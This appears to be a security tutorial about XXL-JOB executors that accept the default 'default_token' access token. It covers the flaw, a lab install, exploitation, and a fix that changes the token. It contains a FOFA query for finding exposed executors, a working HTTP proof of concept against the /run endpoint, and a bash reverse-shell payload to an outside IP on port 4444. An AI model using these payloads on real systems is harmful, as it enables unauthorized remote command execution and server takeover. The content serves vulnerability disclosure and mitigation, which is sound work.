XXL-JOB Security Vulnerability and Exploit Mitigation Guide

Network security

1. Principle of XXL-JOB

XXL-JOB[1] is a distributed task scheduling platform, divided into a scheduling center and executors.

In the two latest versions (version 2.3.1 released on May 21, 2022, and version 2.4.0 released on May 23, 2023), XXL-JOB enables accessToken by default. It’s used to authenticate the identity during scheduling communication between the scheduling center and the executors.

XXL-JOB />

The default value of accessToken is default_token. In the scheduling center’s configuration file, xxl-job-admin/src/main/resources/application.properties, the configuration item is xxl.job.accessToken=default_token.

In the executor’s configuration file, xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties, the configuration item is xxl.job.accessToken=default_token.

XXL-JOB />

Without modifying the default value of accessToken, an attacker can use the default accessToken to impersonate the scheduling center and communicate with the executor for scheduling.

Through the “task trigger” RESTful API, an attacker can execute arbitrary commands on the server where the executor resides, thereby gaining access to the server.

2. Impact of XXL-JOB

Attackers can execute arbitrary commands on the server where the executor resides, thereby gaining control of the server.

3. XXL-JOB: Attack

3.1. Service Search

FOFA[2]: body=”{“code”:500,”msg”:”invalid request, HttpMethod not support.”}” && port=”9999″

3.2. Service Deployment

3.2.1. Java Installation

代码语言:javascript复制

### Download: https://www.oracle.com/java/technologies/downloads/wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz### Extracttar -zxvf jdk-21_linux-x64_bin.tar.gz -C /usr/local/### Configure Environment Variablesvim /etc/profile    export JAVA_HOME=/usr/local/jdk-21.0.2    export JRE_HOME=${JAVA_HOME}/jre    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib    export PATH=${JAVA_HOME}/bin:$PATHsource /etc/profile    # Take effectln -s /usr/local/jdk-21.0.2/bin/java /usr/bin/java    # Symbolic link### Checkjava -version

3.2.2. Maven Installation

代码语言:javascript复制

### Download: https://maven.apache.org/download.cgiwget https://dlcdn.apache.org/maven/maven-3/3.9.6/binaries/apache-maven-3.9.6-bin.tar.gz### Extracttar -zxvf apache-maven-3.8.1-bin.tar.gz -C /usr/local/### Configure Environment Variablesvim /etc/profile    export MAVEN_HOME=/usr/local/apache-maven-3.8.1    export PATH=${MAVEN_HOME}/bin:${PATH}source /etc/profile    # Take effect### Checkmvn -v

3.2.3. XXL-JOB Installation

代码语言:javascript复制

### Download: https://github.com/xuxueli/xxl-jobwget https://github.com/xuxueli/xxl-job/archive/refs/tags/2.4.0.tar.gz### Extracttar -zxvf xxl-job-2.4.0.tar.gz -C /usr/local/### Initialize Databasemysql -u root -p    source /usr/local/xxl-job-2.4.0/doc/db/tables_xxl_job.sqlexit### Database Connection Configurationvim /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties    spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai    spring.datasource.username=root    # Your database username    spring.datasource.password=root_pwd    # Your database password:wq### Packagecd /usr/local/xxl-job-2.4.0mvn clean package### Deploy Scheduling Center and Executorcd /usr/local/xxl-job-2.4.0java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jarjava -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar### Open Firewall Rules for Scheduling Center and Executorfirewall-cmd --add-port=8080/tcp --permanentfirewall-cmd --add-port=9999/tcp --permanentfirewall-cmd --reload

3.3. Exploiting the Vulnerability

Refer to the official “task trigger” RESTful API:

Line 15, executorBlockStrategy, task blocking strategy. Optional values refer to ExecutorBlockStrategyEnum[3]: COVER_EARLY, DISCARD_LATER, SERIAL_EXECUTION.

Line 19, glueType, task mode. Optional values refer to GlueTypeEnum[4]: BEAN, GLUE_GROOVY, GLUE_NODEJS, GLUE_PHP, GLUE_POWERSHELL, GLUE_PYTHON, GLUE_SHELL.

Lines 18 and 21, logDateTime, glueUpdatetime, the current scheduling log time and GLUE script update time, can be generated using the Linux command date +%s.

The final vulnerability detection POC:

代码语言:javascript复制

POST /run HTTP/1.1Host: 10.58.81.34:9999XXL-JOB-ACCESS-TOKEN: default_tokenContent-Length: 326{"jobId":1,"executorHandler":"demoJobHandler","executorParams":"demoJobHandler","executorBlockStrategy":"COVER_EARLY","executorTimeout":0,"logId":1,"logDateTime":1710864010,"glueType":"GLUE_SHELL","glueSource":"ping infpna.dnslog.cn","glueUpdatetime":1710864010,"broadcastIndex":0,"broadcastTotal":0}

Constructing the vulnerability exploit EXP:

代码语言:javascript复制

"glueSource":"bash -i >& /dev/tcp/10.58.81.108/4444 0>&1",

4. Mitigation

Modify the default value of accessToken. The values for the scheduling center and executor must be consistent. For example, change accessToken to cGqJjTqH2VMB2R1:

代码语言:javascript复制

sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.propertiessed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

Then repackage and redeploy:

代码语言:javascript复制

### Packagecd /usr/local/xxl-job-2.4.0mvn clean package### Deploy Scheduling Center and Executorcd /usr/local/xxl-job-2.4.0java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jarjava -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar

Finally, attempting to use the default key for arbitrary code execution results in the error The access token is wrong., successfully patching the vulnerability.

References

[1]

XXL-JOB: https://www.xuxueli.com/xxl-job/

[2]

FOFA: https://fofa.info

[3]

ExecutorBlockStrategyEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/enums/ExecutorBlockStrategyEnum.html

[4]

GlueTypeEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/glue/GlueTypeEnum.html

Share this